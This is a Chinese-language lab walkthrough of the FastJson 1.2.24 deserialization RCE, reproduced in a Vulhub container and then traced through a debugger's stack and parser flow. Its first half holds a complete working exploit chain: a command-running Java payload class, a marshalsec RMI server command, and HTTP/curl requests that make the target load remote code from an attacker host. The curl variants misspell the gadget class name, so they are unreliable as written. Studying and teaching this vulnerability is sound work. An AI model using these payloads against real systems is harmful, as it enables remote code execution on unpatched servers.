概述:本文从复现与调试分析两个方向简述了此漏洞,逐步跟踪漏洞执行流程。
漏洞的复现与调试分析采用了两套环境
复现:Windows+WSL_Ubuntu18.04+Vulhub
调试分析:Windows+IDEA+WSL_Ubuntu18.04
漏洞复现
使用VulHub-Docker 环境
采用 VulHub 中的FastJson 1.2.24-RCE 集成式Docker环境
此处需要用到一些其他知识:
VulHub 下载命令:
GitHub:git clone https://github.com/vulhub/vulhub.git
Gitee:git clone https://gitee.com/Plastilina/vulhub.git
下载完成后进入相关漏洞环境目录
此处为:/vulhub/fastjson/1.2.24-rce
目录下具有docker-compose.yml
文件,为docker compose
的配置文件,通过此文件构建一个具有FastJson 1.2.24-RCE
漏洞的Docker
容器
构建命令:docker-compose build
启动命令:docker-compose up -d
停止命令:docker-compose down
进入docker容器命令:
- 使用
docker ps
获取对应容器的CONTAINER ID
- 进入docker容器
docker exec -it <CONTAINER ID> /bin/bash
检测是否正常使用:在本机运行curl http://127.0.0.1:8090
出现下图信息,表示正常运行:
构建恶意访问请求Payload
注意:此文件构建在另一主机上
此处需要使用到的其他知识:
创建TouchFile.java
文件
拷贝如下代码
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
# Windows
# String[] commands = {"notepad.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行编译命令,生成class文件javac TouchFile.java
使用python 创建简易文件服务器
注意:此文件服务器不与目标机同一机器上
命令行模式下cd
到构建了恶意payload文件目录下
执行命令:python -m http.server [port]
例:python -m http.server 1111
出现下图所示表示成功:
此时在目标主机应该可以访问到此目录下的文件
在目标主机执行命令curl http://<存放了payload主机的IP>:1111
返回的数据中应有如下类似数据
使用marshalsec 创建恶意RMI服务
注意:此RMI服务不在目标主机上,在搭建了文件服务器的主机上。
(当然,它也可以在其他机器中,只要各个机器可以互相访问)
RMI: Remote Method Invocation,远程方法调用。RMI服务器类似以前的电话转接员,用于转接服务器的特定请求。
此处需要用到一些其他知识:
下载marshalsec
Github:git clone https://github.com/mbechler/marshalsec.git
Gitee:git clone https://gitee.com/Plastilina/marshalsec.git
下载完成后进入marshalsec
目录,其中有一个pom.xml
文件,这是一个maven
的项目构建文件
使用maven
构建项目:mvn compile
构建完成后,在该目录下会有一个target
目录,内含构建好的jar包
我们需要使用的为marshalsec-0.0.3-SNAPSHOT-all.jar
也可以直接下载编译完成的jar包
链接:Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git
然后进入jar包所在文件执行命令:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <"文件服务器地址:端口/TouchFile"> <监听端口>
例:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.192.113:8000" 9999
攻击
注:下列操作皆在恶意主机中执行。
启动BurpSuite
,创建一个Repeader
,host、端口指向目标机,当然也可以直接使用Curl
拷贝如下代码:
# BurpSuite
POST / HTTP/1.1
Host: 目标机器:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://恶意主机IP:9999/TouchFile",
"autoCommit":true
}
}
# Curl
curl <目标主机IP>:<端口>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'
发送请求
如果成功将有如下表现
- 文件服务器将出现如下记录。这是来自目标服务器的访问(RMI将你的数据信息告诉了目标服务器)
如果此处未出现任何记录,请检查目标主机与恶意主机是否可以互相ping通,其次请检查,RMI服务是否注册绑定文件服务器(注意在绑定时,填写的恶意主机IP不能是本地回环地址,这是要发送到目标主机的数据) - 如果RMI服务出现如下记录。这是来自目标服务器的访问,他将告诉目标主机去哪里获取它想要的文件数据。
如果此处未出现任何记录,请检查目标主机与恶意主机之间是否可以互相访问(ping)。其次检查请求包dataSourceName
字段是否填写正确。 - 目标docker容器执了命令,这里是在
tmp
目录下创建了success
文件
漏洞分析
IDEA构建调试环境
为了方便分析调试和追踪恶意数据,便不使用vulhub
集成环境了。
代码链接:Link
JDK版本:8u102,默认开启com.sun.jndi.rmi.object.trustURLCodebase
- 调试启动服务端
使用IDEA
调试启动服务端,指定监听端口可在src/main/resources/application.properties
目录下修改。 - 构建payload触发漏洞
使用curl
发送payload
curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'
漏洞分析
当恶意代码执行完毕后,由于后续的状态的校验没有通过,会触发异常,返回调用堆栈。(请启用断点中的异常断点)
截取主要部分
整个堆栈大致可以分为两部分
- 1-7行,为
JdbcRowSetImpl
中反射调用利用链流程。 - 8-末,为
FastJson
中的反序列化处理流程。
java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
at com.sun.rowset.JdbcRowSetImpl.connect(Unknown Source) ~[na:1.8.0_102]
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(Unknown Source) ~[na:1.8.0_102]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_102]
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
at java.lang.reflect.Method.invoke(Unknown Source) ~[na:1.8.0_102]
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_2_JdbcRowSetImpl.deserialze(Unknown Source) ~[na:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseExtra(DefaultJSONParser.java:1490) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:766) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_User.deserialze(Unknown Source) ~[na:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:339) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:307) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:270) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:370) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:452) ~[fastjson-1.2.24.jar!/:na]
针对JdbcRowSetImpl
中反射调用利用链流程跟踪。
在Method.invoke
处设置断点,发送Payload
触发断点。
可以看见setAutoCommit
方法被调用了,这也就是Payload
中设置AutoCommit:false
的原因(其实true/false
无所谓,只是为了触发反射调用。)
随后进入setAutoCommit
源码,发现调用了connect
,继续跟进。
跟进后发现了JNDI初始化流程,而这里的getDataSourceName
,返回的便是我们Payload
中DataSouceName
。lookup
中的参数可控,就和exec
参数可控一样,具有很高的危险性。
至此,通过RMI
协议加载并实例化远程类,触发构造方法、静态方法等等,达到了攻击的目的。
针对FastJson
中的反序列化处理流程跟踪。
JSON.parseObjectJSON.parseObject
主要做了这么几件事
- 将输入的byte字节数组转为String
- 创建并初始化
DefaultJSONParer
解析器
- 使用解析器解析输入流
DefaultJSONParser.parseObjectJSON.parseObject
主要做了这么几件事
- 创建
User
类的序列化器
- 使用序列化器反序列化
JavaBeanDeserializer.deserialze
这里的JavaBeanDeserializer.deserialze
对应着上面的序列化器
采用了JAVA
的ASM
技术动态的生成了类,并使用其创建了序列化器。
其主要做了一下几件事
- 遍历
JSON
字符串,查看是否有对应的字段,有则填充
- 当并未在字符串中扫描到对应的字段时,流程会走向
JavaBeanDeserializer.parseField
JavaBeanDeserializer.parseFieldJavaBeanDeserializer.parseField
内会做如下几件事
- 调用
smartMatch
,尝试从已有的FieldDeserializers
中匹配字段反序列化器
- 当没有匹配到对应的反序列化器时,流程走向
DefaultJSONParser.parseExtra
而parseExtra
内会匹配extraTypeProviders
,匹配失败的话流程走向DefaultJSONParser.parse
DefaultJSONParser.parseDefaultJSONParser.parse
内会做如下几件事
- 根据
lexer
选择执行流程,lexer
在最开始初始化DefaultJSONParer
内完成。
这里的LBRACE
对应着字符{
。然后调用DefaultJSONParer.parseObject
一个重载再次解析。
DefaultJSONParer.parseObject
重点来了,流程如下
- 解析
JSON
格式的payload
,扫描到@type
字段后,使用类加载器加载对应的类JdbcRowSetImpl
- 获取
JdbcRowSetImpl
的序列化器进行反序列化
- 在反序列化时,通过反射调用触发漏洞。
漏洞总结
关于反序列系列的漏洞,我们通常关注的两个点:
- 反序列化链
- 反序列化链的利用
如前边所展现的com.sn.rowset.JdbcRowSetImpl
便是一条反序列化链,通过设置dataSourceName
与autoCommit
属性,达到加载恶意类文件目的。
类似的利用链还有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
而接下来的FastJson
一系列的调用,便是对反序列化的链的一个利用。
可以发现,在首次反序列化失败后,流程会扫描传入的JSON
字符串,并根据@type
字段的值进行指定类型的构造,这也是此次漏洞主要的点。
在FastJson
更高版本上便是增加了对@type
类型进行了一系列的检查过滤。
参考
fastjson历史漏洞研究(一)
基于Java反序列化RCE – 搞懂RMI、JRMP、JNDI
Fastjson 流程分析及 RCE 分析